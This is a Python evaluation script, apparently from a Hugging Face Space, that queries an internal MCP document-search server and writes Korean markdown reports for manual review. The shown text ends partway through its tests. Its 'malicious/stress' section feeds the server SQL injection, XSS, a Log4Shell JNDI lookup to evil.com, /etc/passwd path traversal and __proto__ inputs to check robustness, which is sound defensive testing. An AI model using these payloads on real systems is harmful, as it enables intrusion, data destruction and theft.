Spaces:
Paused
Paused
Download scripts/generate_evaluation.py from YGCXLab/yeogibrain-mcp: direct link, hf CLI and curl.
- Browser
- Download file 34.6 kB
-
https://huggingface.co/spaces/YGCXLab/yeogibrain-mcp/resolve/main/scripts/generate_evaluation.py
- Command line
-
hf download hf://spaces/YGCXLab/yeogibrain-mcp/scripts/generate_evaluation.py
-
curl -L -o generate_evaluation.py https://huggingface.co/spaces/YGCXLab/yeogibrain-mcp/resolve/main/scripts/generate_evaluation.py
34.6 kB
| """모든 테스트 케이스의 실제 MCP 응답을 수집하여 수동 평가용 마크다운 생성.""" | |
| import asyncio | |
| import json | |
| import sys | |
| import os | |
| sys.path.insert(0, os.path.join(os.path.dirname(__file__), "..", "src")) | |
| from yeogibrain_mcp.server import ( | |
| search_documents, | |
| get_document, | |
| get_related, | |
| list_documents, | |
| get_statistics, | |
| full_text_search, | |
| get_documents_batch, | |
| ) | |
| from yeogibrain_mcp.data_loader import DataStore | |
| # doc_id → Confluence URL 매핑 | |
| _store = DataStore() | |
| URL_MAP = {doc_id: doc.get("url", "") for doc_id, doc in _store.documents.items()} | |
| def _link(doc_id): | |
| """문서 ID를 Confluence 링크로 변환.""" | |
| url = URL_MAP.get(doc_id, "") | |
| if url: | |
| return f"[{doc_id}]({url})" | |
| return f"`{doc_id}`" | |
| def summarize_search(parsed, max_items=5): | |
| """search_documents / full_text_search 결과 요약.""" | |
| lines = [f"**total: {parsed['total']}건**"] | |
| for r in parsed["results"][:max_items]: | |
| title = r.get("title", "(제목 없음)")[:60] | |
| snippet = r.get("snippet", "")[:80] | |
| cat = r.get("category", "") | |
| line = f"- {_link(r['id'])} [{cat}] {title}" | |
| if snippet: | |
| line += f" — _{snippet}_" | |
| lines.append(line) | |
| if parsed["total"] > max_items: | |
| lines.append(f"- ... 외 {parsed['total'] - max_items}건") | |
| return "\n".join(lines) | |
| def summarize_doc(parsed): | |
| """get_document 결과 요약.""" | |
| if "error" in parsed: | |
| return f"**Error**: {parsed['error']}" | |
| title = parsed.get("title", "(제목 없음)")[:80] | |
| cat = parsed.get("category", "") | |
| content_len = len(parsed.get("content", "")) | |
| return f"**{_link(parsed['id'])}** [{cat}] {title} (본문 {content_len}자)" | |
| def summarize_related(parsed): | |
| """get_related 결과 요약.""" | |
| if "error" in parsed: | |
| return f"**Error**: {parsed['error']}" | |
| lines = [f"**문서**: {_link(parsed.get('doc_id', '?'))} [{parsed.get('doc_category', '?')}]"] | |
| for key in ("prd", "ac", "ab", "research"): | |
| if key in parsed: | |
| cnt = parsed[key]["count"] | |
| if cnt > 0: | |
| linked = [_link(d["id"]) for d in parsed[key]["documents"][:3]] | |
| lines.append(f"- {key}: {cnt}건 ({', '.join(linked)}{'...' if cnt > 3 else ''})") | |
| else: | |
| lines.append(f"- {key}: 0건") | |
| return "\n".join(lines) | |
| def summarize_stats(parsed): | |
| """get_statistics 결과 요약.""" | |
| lines = [f"**전체**: {parsed.get('total_documents', '?')}건, **그룹**: {len(parsed.get('groups', []))}개"] | |
| for g in parsed.get("groups", [])[:10]: | |
| lines.append(f"- {g['key']}: {g['count']}건") | |
| if len(parsed.get("groups", [])) > 10: | |
| lines.append(f"- ... 외 {len(parsed['groups']) - 10}개") | |
| return "\n".join(lines) | |
| def summarize_batch(parsed): | |
| """get_documents_batch 결과 요약.""" | |
| lines = [f"**성공**: {parsed['total']}건, **에러**: {len(parsed['errors'])}건"] | |
| for r in parsed["results"][:3]: | |
| lines.append(f"- {_link(r['id'])} [{r['category']}] {r.get('title', '')[:50]}") | |
| for e in parsed["errors"][:3]: | |
| lines.append(f"- ❌ {e[:60]}") | |
| return "\n".join(lines) | |
| async def run_and_summarize(func, kwargs, summarizer): | |
| """함수 실행 후 요약.""" | |
| try: | |
| result = await func(**kwargs) | |
| parsed = json.loads(result) | |
| return summarizer(parsed) | |
| except Exception as e: | |
| return f"**Exception**: {type(e).__name__}: {e}" | |
| async def generate_usecase_evaluation(): | |
| """Use Case 질문 평가 파일 생성.""" | |
| cases = [] | |
| # Case 1 | |
| cases.append(("## Case 1: 기능 기획 전", [ | |
| ("Q1-1", "PDP 관련 AB 테스트 결과를 다 보여줘", search_documents, dict(query="PDP", category="ab"), summarize_search), | |
| ("Q1-2", "PDP에 대해 유저 인터뷰에서 어떤 말이 나왔어?", full_text_search, dict(query="PDP", category="dovetail"), summarize_search), | |
| ("Q1-3", "검색 기능 관련으로 진행한 리서치 전부 보여줘", search_documents, dict(query="검색", category="research"), summarize_search), | |
| ("Q1-5", "해외숙소 관련 지금까지 한 실험이 뭐가 있어?", search_documents, dict(query="해외숙소", category="ab"), summarize_search), | |
| ])) | |
| # Q1-4: 복합 (3개 카테고리) | |
| async def q1_4(): | |
| lines = ["**체크아웃 관련 cross-category 검색**"] | |
| for cat in ("prd", "ab", "research"): | |
| r = await search_documents(query="결제", category=cat) | |
| p = json.loads(r) | |
| lines.append(f"- {cat}: {p['total']}건") | |
| for doc in p["results"][:2]: | |
| lines.append(f" - {_link(doc['id'])} {doc.get('title', '')[:50]}") | |
| return "\n".join(lines) | |
| # Q1-6: 복합 | |
| async def q1_6(): | |
| r1 = await search_documents(query="회원가입") | |
| r2 = await full_text_search(query="회원가입") | |
| p1, p2 = json.loads(r1), json.loads(r2) | |
| lines = [f"**search**: {p1['total']}건, **full_text**: {p2['total']}건"] | |
| for doc in (p1["results"] + p2["results"])[:5]: | |
| lines.append(f"- {_link(doc['id'])} [{doc['category']}] {doc.get('title', '')[:50]}") | |
| return "\n".join(lines) | |
| cases[0][1].append(("Q1-4", "체크아웃 관련 PRD, AB, 리서치를 한번에 보고 싶어", None, None, None)) | |
| cases[0][1].append(("Q1-6", "회원가입 개선 관련해서 아는 게 있어?", None, None, None)) | |
| # Case 2 | |
| cases.append(("## Case 2: 디자인 의사결정 근거 확보", [ | |
| ("Q2-1", "가격 정보를 더 강조하려는데 뒷받침하는 AB 결과 있어?", full_text_search, dict(query="가격", category="ab"), summarize_search), | |
| ("Q2-2", "취소 정보를 아이템카드에 노출하면 효과가 있을까?", full_text_search, dict(query="취소정보", category="ab"), summarize_search), | |
| ("Q2-3", "객실 목록을 접을지 펼칠지 Baymard에서 뭐라고 해?", search_documents, dict(query="product listing expand collapse", category="baymard"), summarize_search), | |
| ("Q2-4", "리뷰 섹션 위치 NNg 원칙", search_documents, dict(query="review placement", category="nng"), summarize_search), | |
| ("Q2-5", "모바일 날짜 선택 UI Baymard 가이드라인", search_documents, dict(query="date picker mobile", category="baymard"), summarize_search), | |
| ("Q2-6", "복잡도를 줄이는 게 정말 효과 있어?", full_text_search, dict(query="복잡도", category="ab"), summarize_search), | |
| ])) | |
| # Case 3 | |
| cases.append(("## Case 3: AB 테스트 설계 전 — 선행 학습", [ | |
| ("Q3-1", "Baymard Cart & Checkout 가이드라인 전부 보여줘", list_documents, dict(category="baymard", theme="Cart & Checkout", limit=200), summarize_search), | |
| ("Q3-2", "PDP에서 성공한 실험들의 공통 패턴이 뭐야?", full_text_search, dict(query="런치하기", category="ab"), summarize_search), | |
| ("Q3-3", "고관여 상품에서 효과가 컸던 실험만 보여줘", full_text_search, dict(query="호텔 GMV", category="ab"), summarize_search), | |
| ("Q3-4", "검색 랭킹 관련 AB 실험 히스토리", search_documents, dict(query="랭킹", category="ab", sort_by="date_asc"), summarize_search), | |
| ("Q3-5", "넛징 관련 실험 중 성공/실패 비교", full_text_search, dict(query="넛징", category="ab"), summarize_search), | |
| ("Q3-6", "NEUTRAL로 끝난 홈 실험들 Learning 부분", full_text_search, dict(query="NEUTRAL", category="ab"), summarize_search), | |
| ])) | |
| # Q3-7: 복합 | |
| async def q3_7(): | |
| doc = await get_document(doc_id="BMD-001") | |
| dp = json.loads(doc) | |
| lines = [f"**{_link('BMD-001')}**: [{dp.get('category','')}] {dp.get('title','')[:60]}"] | |
| lines.append(f"- issue: {dp.get('issue','')[:80]}") | |
| lines.append(f"- advice: {dp.get('advice','')[:80]}") | |
| return "\n".join(lines) | |
| cases[2][1].append(("Q3-7", "이 Baymard 가이드라인은 우리가 검증한 적 있어?", None, None, None)) | |
| # Case 4 | |
| cases.append(("## Case 4: 리서치 결과의 실제 반영 추적", [ | |
| ("Q4-1", "RES-023 결과가 PRD나 AB로 이어졌어?", get_related, dict(doc_id="RES-001"), summarize_related), | |
| ("Q4-3", "PRD-045와 관련된 리서치가 있었어?", get_related, dict(doc_id="PRD-001"), summarize_related), | |
| ])) | |
| # Q4-2: 체인 | |
| async def q4_2(): | |
| r = await list_documents(category="research", methodology="UT", date_from="2024-01-01") | |
| p = json.loads(r) | |
| lines = [f"**2024 UT 리서치**: {p['total']}건"] | |
| for doc in p["results"][:3]: | |
| lines.append(f"- {_link(doc['id'])} {doc.get('title','')[:50]}") | |
| if p["total"] > 0: | |
| rel = await get_related(doc_id=p["results"][0]["id"]) | |
| rp = json.loads(rel) | |
| lines.append(f"\n**{_link(p['results'][0]['id'])} 연관문서:**") | |
| for key in ("prd", "ac", "ab", "research"): | |
| if key in rp: | |
| lines.append(f"- {key}: {rp[key]['count']}건") | |
| return "\n".join(lines) | |
| # Q4-4 | |
| async def q4_4(): | |
| r = await search_documents(query="", category="ab", experiment_no="119") | |
| p = json.loads(r) | |
| lines = [f"**실험 119번**: {p['total']}건"] | |
| for doc in p["results"]: | |
| lines.append(f"- {_link(doc['id'])} {doc.get('title','')[:60]}") | |
| return "\n".join(lines) | |
| # Q4-5 | |
| async def q4_5(): | |
| r = await search_documents(query="파트너센터", category="research") | |
| p = json.loads(r) | |
| lines = [f"**파트너센터 리서치**: {p['total']}건"] | |
| for doc in p["results"][:3]: | |
| lines.append(f"- {_link(doc['id'])} {doc.get('title','')[:50]}") | |
| if p["total"] > 0: | |
| rel = await get_related(doc_id=p["results"][0]["id"]) | |
| rp = json.loads(rel) | |
| lines.append(f"\n**{_link(p['results'][0]['id'])} 연관:**") | |
| for key in ("prd", "ac", "ab", "research"): | |
| if key in rp: | |
| lines.append(f"- {key}: {rp[key]['count']}건") | |
| return "\n".join(lines) | |
| cases[3][1].append(("Q4-2", "2024 UT 리서치 중 AB까지 연결된 건 몇 개야?", None, None, None)) | |
| cases[3][1].append(("Q4-4", "AB 테스트 119번 실험의 배경이 된 리서치/PRD 찾아줘", None, None, None)) | |
| cases[3][1].append(("Q4-5", "파트너센터 리서치 14건이 실제 PRD로 얼마나 반영됐어?", None, None, None)) | |
| # Case 5 | |
| cases.append(("## Case 5: 특정 리서처/PO의 히스토리 파악", [ | |
| ("Q5-2", "욘두가 진행한 리서치를 날짜순으로 보여줘", list_documents, dict(category="research", author="욘두", sort_by="date_desc"), summarize_search), | |
| ("Q5-3", "케인이 검색 도메인에서 진행한 실험 히스토리", search_documents, dict(query="", category="ab", author="케인Kane(박대현) / 검색추천기획팀"), summarize_search), | |
| ("Q5-4", "리서치팀에서 가장 많은 리서치를 진행한 사람은?", get_statistics, dict(group_by="author", category="research"), summarize_stats), | |
| ("Q5-5", "PDP AB 테스트 — 여러 PO가 담당", search_documents, dict(query="PDP", category="ab"), summarize_search), | |
| ])) | |
| # Case 6 | |
| cases.append(("## Case 6: 유저 보이스에서 패턴 발견", [ | |
| ("Q6-1", "유저가 '불편하다', '어렵다'고 말한 인터뷰 발화 찾아줘", full_text_search, dict(query="불편", category="dovetail"), summarize_search), | |
| ("Q6-2", "검색 FGI에서 유저들이 뭐라고 했어?", list_documents, dict(category="dovetail", project="[FGI]통합검색"), summarize_search), | |
| ("Q6-3", "유저가 가격 관련해서 언급한 발화 모아줘", full_text_search, dict(query="가격", category="dovetail"), summarize_search), | |
| ("Q6-4", "취소/환불에 대해 유저가 직접 한 말이 있어?", full_text_search, dict(query="취소", category="dovetail"), summarize_search), | |
| ("Q6-5", "해외숙소 예약 경험에 대한 인터뷰 내용", full_text_search, dict(query="해외숙소", category="dovetail"), summarize_search), | |
| ("Q6-6", "Dovetail 프로젝트별로 인터뷰가 몇 건씩 있어?", get_statistics, dict(group_by="project", category="dovetail"), summarize_stats), | |
| ("Q6-7", "유저가 '비교'라는 단어를 쓴 맥락 보고 싶어", full_text_search, dict(query="비교", category="dovetail"), summarize_search), | |
| ])) | |
| # Case 7 | |
| cases.append(("## Case 7: 글로벌 UX 원칙과 자사 현황 비교", [ | |
| ("Q7-1", "Baymard Product Page 가이드라인 중 importance 높은 것", search_documents, dict(query="", category="baymard", theme="Product Page"), summarize_search), | |
| ("Q7-2", "NNg 모바일 네비게이션", search_documents, dict(query="mobile navigation", category="nng"), summarize_search), | |
| ("Q7-7", "NNg 정보 시인성(information scent) 원칙", search_documents, dict(query="information scent", category="nng"), summarize_search), | |
| ])) | |
| # Q7-3 ~ Q7-6: 복합 | |
| async def q7_3(): | |
| bmd = await list_documents(category="baymard", theme="Cart & Checkout", limit=5) | |
| ab = await search_documents(query="결제", category="ab") | |
| bp, ap = json.loads(bmd), json.loads(ab) | |
| lines = [f"**Baymard Cart & Checkout**: {bp['total']}건"] | |
| for d in bp["results"][:3]: | |
| lines.append(f"- {_link(d['id'])} {d.get('title','')[:50]}") | |
| lines.append(f"\n**자사 결제 AB**: {ap['total']}건") | |
| for d in ap["results"][:3]: | |
| lines.append(f"- {_link(d['id'])} {d.get('title','')[:50]}") | |
| return "\n".join(lines) | |
| async def q7_4(): | |
| nng = await search_documents(query="search", category="nng") | |
| prd = await search_documents(query="검색", category="prd") | |
| np_, pp = json.loads(nng), json.loads(prd) | |
| lines = [f"**NNg search**: {np_['total']}건"] | |
| for d in np_["results"][:3]: | |
| lines.append(f"- {_link(d['id'])} {d.get('title','')[:50]}") | |
| lines.append(f"\n**자사 검색 PRD**: {pp['total']}건") | |
| for d in pp["results"][:3]: | |
| lines.append(f"- {_link(d['id'])} {d.get('title','')[:50]}") | |
| return "\n".join(lines) | |
| async def q7_5(): | |
| bmd = await search_documents(query="homepage", category="baymard") | |
| nng = await search_documents(query="homepage", category="nng") | |
| bp, np_ = json.loads(bmd), json.loads(nng) | |
| lines = [f"**Baymard homepage**: {bp['total']}건, **NNg homepage**: {np_['total']}건"] | |
| for d in bp["results"][:2]: | |
| lines.append(f"- [baymard] {_link(d['id'])} {d.get('title','')[:50]}") | |
| for d in np_["results"][:2]: | |
| lines.append(f"- [nng] {_link(d['id'])} {d.get('title','')[:50]}") | |
| return "\n".join(lines) | |
| async def q7_6(): | |
| bmd = await search_documents(query="review", category="baymard") | |
| ab = await search_documents(query="리뷰", category="ab") | |
| bp, ap = json.loads(bmd), json.loads(ab) | |
| lines = [f"**Baymard review**: {bp['total']}건, **자사 리뷰 AB**: {ap['total']}건"] | |
| for d in bp["results"][:2]: | |
| lines.append(f"- [baymard] {_link(d['id'])} {d.get('title','')[:50]}") | |
| for d in ap["results"][:2]: | |
| lines.append(f"- [ab] {_link(d['id'])} {d.get('title','')[:50]}") | |
| return "\n".join(lines) | |
| cases[6][1].append(("Q7-3", "Baymard 체크아웃 가이드라인과 우리 결제 AB 비교", None, None, None)) | |
| cases[6][1].append(("Q7-4", "NNg 검색 UX 원칙 vs 우리 검색 PRD", None, None, None)) | |
| cases[6][1].append(("Q7-5", "홈페이지 Baymard + NNg 원칙 한번에", None, None, None)) | |
| cases[6][1].append(("Q7-6", "Baymard 리뷰 가이드라인 vs 우리 리뷰 AB", None, None, None)) | |
| # Case 8 | |
| cases.append(("## Case 8: 분기/연간 리서치 현황 리뷰", [ | |
| ("Q8-1", "2024년에 월별로 리서치가 몇 건이었어?", get_statistics, dict(group_by="year_month", category="research"), summarize_stats), | |
| ("Q8-2", "리서치 방법론 분포 (UT 편중?)", get_statistics, dict(group_by="methodology", category="research"), summarize_stats), | |
| ("Q8-3", "도메인별 리서치 건수", get_statistics, dict(group_by="domain", category="research"), summarize_stats), | |
| ("Q8-4", "올해 AB 테스트 PO별 건수", get_statistics, dict(group_by="author", category="ab"), summarize_stats), | |
| ("Q8-6", "Baymard 테마별 가이드라인 수", get_statistics, dict(group_by="theme", category="baymard"), summarize_stats), | |
| ("Q8-7", "Dovetail 프로젝트별 인터뷰 수", get_statistics, dict(group_by="project", category="dovetail"), summarize_stats), | |
| ])) | |
| # Q8-5: 복합 | |
| async def q8_5(): | |
| prd = await get_statistics(group_by="domain", category="prd") | |
| res = await get_statistics(group_by="domain", category="research") | |
| pp, rp = json.loads(prd), json.loads(res) | |
| prd_d = {g["key"]: g["count"] for g in pp["groups"]} | |
| res_d = {g["key"]: g["count"] for g in rp["groups"]} | |
| lines = ["**PRD vs Research 도메인 비교:**", "| 도메인 | PRD | Research | 갭 |", "|---|---|---|---|"] | |
| for k in sorted(prd_d.keys()): | |
| rc = res_d.get(k, 0) | |
| gap = "✅" if rc > 0 else "❌ 공백" | |
| lines.append(f"| {k} | {prd_d[k]} | {rc} | {gap} |") | |
| return "\n".join(lines) | |
| cases[7][1].append(("Q8-5", "PRD는 많은데 리서치가 없는 도메인이 어디야?", None, None, None)) | |
| # Case 9 | |
| cases.append(("## Case 9: 성과 기반 리서치 영역 탐색", [ | |
| ("Q9-1", "GMV가 1% 이상 오른 실험 모아줘", full_text_search, dict(query="GMV 상승", category="ab"), summarize_search), | |
| ("Q9-2", "성공한 실험들의 공통 Learning 정리", full_text_search, dict(query="Learning", category="ab"), summarize_search), | |
| ("Q9-3", "NEUTRAL로 끝난 실험들은 어떤 영역?", full_text_search, dict(query="NEUTRAL", category="ab"), summarize_search), | |
| ("Q9-4", "정보 시인성 개선 실험 성공률", full_text_search, dict(query="시인성", category="ab"), summarize_search), | |
| ("Q9-5", "고관여 상품 효과 큰 실험 패턴", full_text_search, dict(query="호텔 GMV", category="ab"), summarize_search), | |
| ])) | |
| # Q9-6, Q9-7: 복합 | |
| async def q9_6(): | |
| prd = await get_statistics(group_by="domain", category="prd") | |
| res = await get_statistics(group_by="domain", category="research") | |
| pp, rp = json.loads(prd), json.loads(res) | |
| prd_search = next((g["count"] for g in pp["groups"] if g["key"] == "search"), 0) | |
| res_search = sum(g["count"] for g in rp["groups"] if "검색" in g["key"]) | |
| return f"**검색 도메인 갭**: PRD {prd_search}건 vs Research {res_search}건 (비율 {prd_search}/{max(res_search,1)})" | |
| async def q9_7(): | |
| bmd = await get_statistics(group_by="category") | |
| p = json.loads(bmd) | |
| counts = {g["key"]: g["count"] for g in p["groups"]} | |
| return f"**전체 문서 분포**: Baymard {counts.get('baymard',0)}건, AB {counts.get('ab',0)}건 — Baymard가 {counts.get('baymard',0) - counts.get('ab',0)}건 더 많음" | |
| cases[8][1].append(("Q9-6", "검색 도메인 PRD 60건 vs Research 6건 갭 분석", None, None, None)) | |
| cases[8][1].append(("Q9-7", "Baymard 중 아직 실험 안 해본 영역은?", None, None, None)) | |
| # 복합 호출 매핑 | |
| complex_funcs = { | |
| "Q1-4": q1_4, "Q1-6": q1_6, "Q3-7": q3_7, | |
| "Q4-2": q4_2, "Q4-4": q4_4, "Q4-5": q4_5, | |
| "Q7-3": q7_3, "Q7-4": q7_4, "Q7-5": q7_5, "Q7-6": q7_6, | |
| "Q8-5": q8_5, "Q9-6": q9_6, "Q9-7": q9_7, | |
| } | |
| # 실행 및 마크다운 생성 | |
| output = [] | |
| output.append("# Use Case 질문 평가 — 실제 MCP 응답\n") | |
| output.append("> **목적**: 각 질문에 대한 실제 Tool 응답을 수동으로 검토") | |
| output.append("> **판단자**: _______________") | |
| output.append("> **판단일**: _______________\n") | |
| for section_title, items in cases: | |
| output.append(f"\n---\n\n{section_title}\n") | |
| for qid, question, func, kwargs, summarizer in items: | |
| output.append(f"### {qid}: {question}\n") | |
| if qid in complex_funcs: | |
| try: | |
| summary = await complex_funcs[qid]() | |
| except Exception as e: | |
| summary = f"**Exception**: {e}" | |
| else: | |
| summary = await run_and_summarize(func, kwargs, summarizer) | |
| output.append(summary) | |
| output.append(f"\n**Pass/Fail**: ______\n") | |
| return "\n".join(output) | |
| async def generate_anti_persona_evaluation(): | |
| """Anti-Persona ABC 평가 파일 생성.""" | |
| output = [] | |
| output.append("# Anti-Persona (A/B/C) 평가 — 실제 MCP 응답\n") | |
| output.append("> **목적**: 비정상 입력에 대한 실제 Tool 응답을 수동으로 검토") | |
| output.append("> **판단자**: _______________") | |
| output.append("> **판단일**: _______________\n") | |
| # --- Type A --- | |
| output.append("\n---\n\n## Type A: 초보자\n") | |
| # A1: 잘못된 doc_id | |
| output.append("### A1: 잘못된 doc_id 형식\n") | |
| for tid, doc_id in [("A1-1", "1"), ("A1-2", "158"), ("A1-3", "17"), ("A1-4", "NNG-1"), ("A1-5", "baymard-100")]: | |
| r = await get_document(doc_id=doc_id) | |
| p = json.loads(r) | |
| summary = summarize_doc(p) | |
| output.append(f"**{tid}** `get_document(doc_id=\"{doc_id}\")` → {summary}\n") | |
| output.append("**Pass/Fail**: ______\n") | |
| # A2: 카테고리 오입력 | |
| output.append("### A2: 카테고리명 오입력\n") | |
| for tid, cat in [("A2-1","Research"),("A2-2","PRD"),("A2-3","ab test"),("A2-4","리서치"),("A2-5","nngroup"),("A2-6","interview")]: | |
| r = await search_documents(query="검색", category=cat) | |
| p = json.loads(r) | |
| output.append(f"**{tid}** `category=\"{cat}\"` → {p['total']}건, filters.category=\"{p['filters']['category']}\"\n") | |
| r = await get_statistics(group_by="category", category="전체") | |
| p = json.loads(r) | |
| output.append(f"**A2-7** `get_statistics(category=\"전체\")` → {p['total_documents']}건, groups={p['groups']}\n") | |
| output.append("**Pass/Fail**: ______\n") | |
| # A3: 넓은/모호한 질문 | |
| output.append("### A3: 너무 넓거나 모호한 질문\n") | |
| r = await list_documents(limit=99999) | |
| p = json.loads(r) | |
| output.append(f"**A3-1** `list_documents(limit=99999)` → **{p['total']}건** 반환\n") | |
| r = await search_documents(query="") | |
| p = json.loads(r) | |
| output.append(f"**A3-2** `search_documents(query=\"\")` → **{p['total']}건**, results={p['results']}\n") | |
| output.append("**Pass/Fail**: ______\n") | |
| # A5: 날짜 형식 | |
| output.append("### A5: 잘못된 날짜 형식\n") | |
| for tid, df in [("A5-1","2024년 1월"),("A5-2","작년"),("A5-3","01/15/2024"),("A5-4","2024.03.01"),("A5-5","2024-13-01")]: | |
| r = await search_documents(query="검색", date_from=df) | |
| p = json.loads(r) | |
| output.append(f"**{tid}** `date_from=\"{df}\"` → {p['total']}건, filter반영: {p['filters']['date_from']}\n") | |
| r = await search_documents(query="검색", date_from="2024-06-01", date_to="2024-01-01") | |
| p = json.loads(r) | |
| output.append(f"**A5-6** 역전 날짜 → {p['total']}건\n") | |
| output.append("**Pass/Fail**: ______\n") | |
| # A6: 한/영 혼용 | |
| output.append("### A6: 한글/영어 혼용 검색\n") | |
| for tid, q, cat in [("A6-1","checkout","prd"),("A6-2","결제","baymard"),("A6-3","리뷰","nng"),("A6-4","homepage","prd"),("A6-5","search","research")]: | |
| r = await search_documents(query=q, category=cat) | |
| p = json.loads(r) | |
| output.append(f"**{tid}** `query=\"{q}\", category=\"{cat}\"` → **{p['total']}건**\n") | |
| output.append("**Pass/Fail**: ______\n") | |
| # A7: 결과 0건 | |
| output.append("### A7: 결과 0건 상황\n") | |
| r = await search_documents(query="결제", category="research") | |
| p = json.loads(r) | |
| output.append(f"**A7-1** `query=\"결제\", category=\"research\"` → **{p['total']}건**\n") | |
| r = await search_documents(query="", category="ab", author="욘두") | |
| p = json.loads(r) | |
| output.append(f"**A7-2** `category=\"ab\", author=\"욘두\"` → **{p['total']}건** (욘두는 research 담당)\n") | |
| r = await list_documents(category="dovetail", methodology="UT") | |
| p = json.loads(r) | |
| output.append(f"**A7-3** `category=\"dovetail\", methodology=\"UT\"` → **{p['total']}건** (dovetail엔 methodology 없음)\n") | |
| r = await search_documents(query="xyzabc123nonexistent") | |
| p = json.loads(r) | |
| output.append(f"**A7-4** `query=\"xyzabc123nonexistent\"` → **{p['total']}건**\n") | |
| output.append("**Pass/Fail**: ______\n") | |
| # A8: 필터 과다 | |
| output.append("### A8: 필터 과다 조합\n") | |
| r = await search_documents(query="검색", category="research", author="욘두", methodology="UT", date_from="2024-01-01", date_to="2024-06-30") | |
| p = json.loads(r) | |
| output.append(f"**A8-1** 5개 필터 동시 → **{p['total']}건**, filters: {json.dumps(p['filters'], ensure_ascii=False)}\n") | |
| r = await list_documents(category="baymard", author="Jakob Nielsen") | |
| p = json.loads(r) | |
| output.append(f"**A8-2** `baymard + author=\"Jakob Nielsen\"` → **{p['total']}건**\n") | |
| r = await search_documents(query="PDP", category="nng", methodology="Survey") | |
| p = json.loads(r) | |
| output.append(f"**A8-3** `nng + methodology=\"Survey\"` → **{p['total']}건**\n") | |
| output.append("**Pass/Fail**: ______\n") | |
| # A10: batch | |
| output.append("### A10: batch ID 형식 불일치\n") | |
| r = await get_documents_batch(doc_ids=["PRD-001", "PRD001", "prd-001"], fields="summary") | |
| p = json.loads(r) | |
| output.append(f"**A10** → 성공: {p['total']}건, 에러: {len(p['errors'])}건\n") | |
| for d in p["results"]: | |
| output.append(f"- ✅ {_link(d['id'])}\n") | |
| for e in p["errors"]: | |
| output.append(f"- ❌ {e}\n") | |
| output.append("**Pass/Fail**: ______\n") | |
| # --- Type B --- | |
| output.append("\n---\n\n## Type B: 오용자\n") | |
| # B1: 범위 밖 | |
| output.append("### B1: MCP 범위 밖 데이터 요청\n") | |
| for tid, q in [("B1-1","앱 다운로드 수"),("B1-2","야놀자 MAU"),("B1-3","지난달 매출"),("B1-5","Jira 티켓")]: | |
| r = await search_documents(query=q) | |
| p = json.loads(r) | |
| output.append(f"**{tid}** `query=\"{q}\"` → **{p['total']}건**") | |
| if p["total"] > 0: | |
| output.append(f" — 첫 결과: {_link(p['results'][0]['id'])} {p['results'][0].get('title','')[:40]}") | |
| output.append("\n") | |
| output.append("**Pass/Fail**: ______\n") | |
| # B4: 외부 문서 get_related | |
| output.append("### B4: 관계(get_related)를 외부 문서에 사용\n") | |
| for tid, did in [("B4-1","NNG-001"),("B4-2","BMD-100"),("B4-3","TRS-001")]: | |
| r = await get_related(doc_id=did) | |
| p = json.loads(r) | |
| summary = summarize_related(p) | |
| output.append(f"**{tid}** `get_related(\"{did}\")` →\n{summary}\n\n") | |
| output.append("**Pass/Fail**: ______\n") | |
| # B5: 잘못된 group_by | |
| output.append("### B5: 잘못된 group_by 값\n") | |
| for tid, gb, cat in [("B5-1","rating",None),("B5-2","experiment_result",None)]: | |
| kwargs = dict(group_by=gb) | |
| if cat: | |
| kwargs["category"] = cat | |
| r = await get_statistics(**kwargs) | |
| p = json.loads(r) | |
| keys = [g["key"] for g in p["groups"][:3]] | |
| output.append(f"**{tid}** `group_by=\"{gb}\"` → groups: {keys}\n") | |
| r = await get_statistics(group_by="domain", category="dovetail") | |
| p = json.loads(r) | |
| output.append(f"**B5-5** `domain + dovetail` → {len(p['groups'])}개 그룹, 합계={sum(g['count'] for g in p['groups'])}건\n") | |
| r = await get_statistics(group_by="domain", category="ab") | |
| p = json.loads(r) | |
| keys = [g["key"] for g in p["groups"]] | |
| output.append(f"**B9** `domain + ab` → groups: {keys}, 전체={p['total_documents']}건\n") | |
| r = await list_documents(category="dovetail", methodology="FGI") | |
| p = json.loads(r) | |
| output.append(f"**B10** `dovetail + methodology=\"FGI\"` → **{p['total']}건**\n") | |
| output.append("**Pass/Fail**: ______\n") | |
| # --- Type C --- | |
| output.append("\n---\n\n## Type C: 악의적/스트레스\n") | |
| # C1: 극단적 파라미터 | |
| output.append("### C1: 극단적 파라미터\n") | |
| r = await list_documents(limit=99999) | |
| p = json.loads(r) | |
| output.append(f"**C1-1** `limit=99999` → **{p['total']}건**\n") | |
| for tid, kwargs in [("C1-2", dict(limit=-1)), ("C1-3", dict(limit=0))]: | |
| r = await list_documents(**kwargs) | |
| p = json.loads(r) | |
| output.append(f"**{tid}** `limit={list(kwargs.values())[0]}` → {len(p['results'])}건 반환\n") | |
| r = await list_documents(offset=999999) | |
| p = json.loads(r) | |
| output.append(f"**C1-4** `offset=999999` → {p['total']}건\n") | |
| r = await list_documents(offset=-10) | |
| p = json.loads(r) | |
| output.append(f"**C1-5** `offset=-10` → {len(p['results'])}건 반환\n") | |
| r = await get_documents_batch(doc_ids=["PRD-001"] * 100) | |
| p = json.loads(r) | |
| output.append(f"**C1-6** `PRD-001 x 100` → {p['total']}건, 에러 {len(p['errors'])}건\n") | |
| r = await full_text_search(query="검색", limit=10000) | |
| p = json.loads(r) | |
| output.append(f"**C1-7** `fts limit=10000` → {p['total']}건\n") | |
| output.append("**Pass/Fail**: ______\n") | |
| # C2: Injection | |
| output.append("### C2: Injection 시도\n") | |
| for tid, q in [("C2-1","'; DROP TABLE documents; --"),("C2-2","<script>alert('xss')</script>"),("C2-4","${jndi:ldap://evil.com}")]: | |
| r = await search_documents(query=q) | |
| p = json.loads(r) | |
| output.append(f"**{tid}** `\"{q}\"` → **{p['total']}건**, 정상구조: {'✅' if 'results' in p else '❌'}\n") | |
| r = await get_document(doc_id="../../../../etc/passwd") | |
| p = json.loads(r) | |
| output.append(f"**C2-3** path traversal → {summarize_doc(p)}\n") | |
| r = await get_document(doc_id="__proto__") | |
| p = json.loads(r) | |
| output.append(f"**C2-5** `__proto__` → {summarize_doc(p)}\n") | |
| # 정상 검색 확인 | |
| normal = await search_documents(query="패키지") | |
| np_ = json.loads(normal) | |
| output.append(f"\n✅ injection 후 정상 검색 확인: `query=\"패키지\"` → **{np_['total']}건** (데이터 오염 없음)\n") | |
| output.append("**Pass/Fail**: ______\n") | |
| # C3: 빈 값 | |
| output.append("### C3: 빈 값 / null 공격\n") | |
| r = await get_document(doc_id="") | |
| p = json.loads(r) | |
| output.append(f"**C3-1** 빈 doc_id → {summarize_doc(p)}\n") | |
| r = await search_documents(query="", category="", author="") | |
| p = json.loads(r) | |
